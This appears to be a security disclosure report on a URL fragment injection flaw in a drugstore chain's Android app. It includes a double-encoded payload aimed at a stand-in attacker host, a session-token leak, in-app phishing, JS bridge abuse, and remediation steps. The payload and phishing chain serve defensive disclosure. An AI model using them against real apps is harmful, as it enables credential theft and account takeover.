URL Fragment Injection in Deep Link Hijacks Official App WebView
The Risk
A drugstore chain's mobile app could be tricked into opening any website inside its own screens, with no web address shown and no warning. A single tap on a link that looked like the company's real website was enough. The attacker could show a fake "Session expired" login form that looked exactly like the real one and harvest passwords. On top of that, the victim's session token leaked the moment the page loaded, before they typed anything. The attack worked across the company's apps in two countries.
The Vulnerability
A drugstore chain's Android app registered a deep link on its main public website domains. When a user tapped a deep link with a campaignId parameter, the app inserted the value into a URL template and loaded the result in a JavaScript-enabled WebView with no visible address bar.
The constructed URL looked like https://<campaignId>.mini-games.example/?code=...&gift=.... To prevent abuse, the app checked the constructed URL against a regex (.*mini-games\.example.*) before loading. The regex was applied to the entire URL string, including any fragment (#) the attacker could place inside campaignId.
By URL-encoding a # twice (%2523), the value survived one decode and ended up as a literal # inside the constructed URL. The fragment was ignored by the WebView when resolving the host, so the WebView connected to whatever attacker host preceded the #, while the regex still matched mini-games.example sitting in the fragment portion.
{`campaignId = attacker.example/path#
URL built: https://attacker.example/path#.mini-games.example/?code=&gift=
^ fragment, ignored by WebView
Regex: .*mini-games\\.example.* -> matches
WebView: connects to attacker.example`} The WebView had JavaScript enabled and registered a JS bridge (appInterface) that exposed several actions to whatever page was loaded.
The Attack
Delivery
The deep link looks like a normal link to the company's main website (https://www.example-drugstore.com/...?campaignId=...). Because the app declares those domains as App Links, tapping the link in any messaging app, email, or QR code opens the official app directly with no browser prompt.
Loading the attacker page
On opening, the WebView constructed the URL with the injected fragment, passed the regex check, and connected to the attacker's host. The session auth-token was attached as an HTTP header on the first load, before any user interaction, leaking the victim's session on initial connection.
In-app phishing
The attacker page rendered a "Session expired, please log in" form styled like the official screen. Because the WebView had no address bar and the app's chrome was visible, the victim had no indication they were on an attacker host. Submitted credentials were sent to the attacker's server. Immediately after, the attacker page called appInterface.postMessage({action:"openLoyaltyTab"}) equivalent ("openLoyaltyTab") to surface a real native screen as cover, so the victim's app appeared to behave normally.
JS bridge primitives confirmed
| Action | Effect |
|---|---|
| openLogin | Opens the real login screen (post-phish cover) |
| openEnrollment | Opens loyalty card enrollment |
| openNativeShare | Opens Android share sheet with attacker-controlled text |
| changeConsent | Silently changes the victim's marketing consent settings, no confirmation |
The full chain was confirmed end-to-end on a Samsung Galaxy device running Android 13, with no root and no special permissions. The same vulnerability was confirmed across the chain's apps in two countries.
The Impact
Account takeover
Captured credentials provided access to purchase history, saved payment details, loyalty point balance, and personal data. A single phishing page served all victims, with no per-target customisation.
Silent token leak
Separately from credential phishing, the WebView attached the session auth-token as an HTTP header on the first request to the attacker's host. Depending on the token's scope this alone could be enough for account access without any user typing anything.
No indication of compromise
After credentials were captured the bridge call surfaced the real app screen, so the victim saw a normal experience and was unlikely to notice anything until unauthorised activity appeared on the account.
Reach
The link can be mass-distributed through SMS, messaging apps, email, QR codes, or search ads. Because the deep link originates from the company's real public domain, link-preview tools and corporate filters treat it as legitimate.
Remediation
- Validate
campaignIdagainst a strict allowlist of known campaign identifiers with a fixed format (alphanumeric, bounded length). Reject the deep link entirely on mismatch - After building the URL, extract the host with
Uri.parse(url).getHost()and compare against an explicit allowlist. Never apply regex matching to the full URL string, fragment injection bypasses it - Do not load externally-controlled URLs in a WebView that attaches authentication headers. If the WebView ships session credentials, the destination must be an exact-match trusted host validated server-side
- Restrict the JS bridge to respond only when the loaded URL is on a trusted domain. Re-evaluate the bridge surface on every navigation
- Treat
changeConsent-style state-changing bridge actions as requiring an explicit user gesture, not a JavaScript call from the loaded page